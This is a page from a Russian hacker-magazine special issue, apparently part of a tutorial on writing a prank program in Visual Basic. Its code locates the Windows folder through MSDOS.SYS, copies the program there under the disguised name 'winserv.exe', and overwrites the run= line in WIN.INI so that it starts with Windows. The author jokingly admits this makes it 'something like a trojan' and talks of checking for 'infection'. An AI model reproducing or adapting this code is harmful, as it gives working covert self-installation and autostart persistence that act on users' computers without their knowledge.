Бешеная блинница

Спецвыпуск Хакер, номер #004, стр. 004-122-4

Самое интересное... для продвинутых :)

Слышь, пельмень, ты не заметил, что чего-то в нашей прогенции не хватает? Вот смотри: запустит юзверь прогу, разозлится и перезагрузит комп :(. Обидно... Надо это дело обходить. Есть такой файл в каталоге Выни, WIN.INI называется, а в нем, в свою очередь, есть строка - run=<имя_файла>. Так вот, если в эту строку поставить нашу прогу, то будет кульно, очень кульно :).

Для начала нужно определить каталог Выни. Это, конечно, можно сделать ОЧЕНЬ просто (даже еще проще), но мы пойдем другим путем. В корневом каталоге диска С: есть рульное файло - MSDOS.SYS называется, там тоже есть строчка - WinDir=<путь_к_выни>, она-то нам и нужна. Пиши (в самом начале Form_Load):

Open "c:msdos.sys" For Input As #1 ' откроем файл для чтения...

Input #1, MustDieDir ' строка "WinDir=каталог_выни"

Input #1, MustDieDir ' вторая по счету

Close #1 ' закроем :)

MustDieDir = Mid$(MustDieDir, 8, Len(MustDieDir) - 7) ' убираем "WinDir=", т.е. вытираем все буквы, начиная с первой и заканчивая 7-й включительно.

Теперь у нас в переменной MustDieDir хранится название каталога Выни. Дальше нам нужно закопироваться в этот каталог с каким-нибудь "умным" названием - winserv.exe, например (ой, это уже что-то вроде трояна получается :)). Для этого в VisalBasic'е есть проца - FileCopy <откуда_и_что>,<куда>. Пиши:

FileCopy "blin.exe", MustDieDir + "winserv.exe" ' дополним Вынь нужной службой, убирающей баги :)).

Осталось только обеспечить себе автозагрузку. Это, с одной стороны, просто, а с другой - еще проще. Для начала сделаем копию WIN.INI для дальнейшего использования. Назовем это файло, например, blin.col. После этого подправим старый WIN.INI, для начала удалив его, а потом восстановив построчным копированием с небольшим изменением строки "run=". Набивай, если не устал, а если устал, то попроси соседа - он с радостью тебе поможет:

FileCopy MustDieDir + "win.ini", MustDieDir + "blin.col" ' делаем копию, надо

Open MustDieDir + "blin.col" For Input As #1 ' конструируем новый WIN.INI

Open MustDieDir + "win.ini" For Output As #2 ' сначала вытрем старый, а зачем он нам?

While Not EOF(1) ' пока файл не кончился, копируем построчно

Input #1, Temp ' читаем

If Mid$(Temp, 1, 4) = "run=" Then Temp = "run=winserv.exe" ' прописываемся в "run="

Print #2, Temp ' пишем :)

Wend

Close #1, #2

Вроде все хорошо, даже работает, но есть один баг - каждый раз копировать WIN.INI и самого себя? Вот, надо просто добавить проверку на "инфицированность" (эти строчки вставляй после MustDieDir = Mid$(MustDieDir, 8, Len(MustDieDir) - 7) ):

Назад на стр. 004-122-3  Содержание  Вперед на стр. 004-122-5

ttfb: 2.6328563690186 ms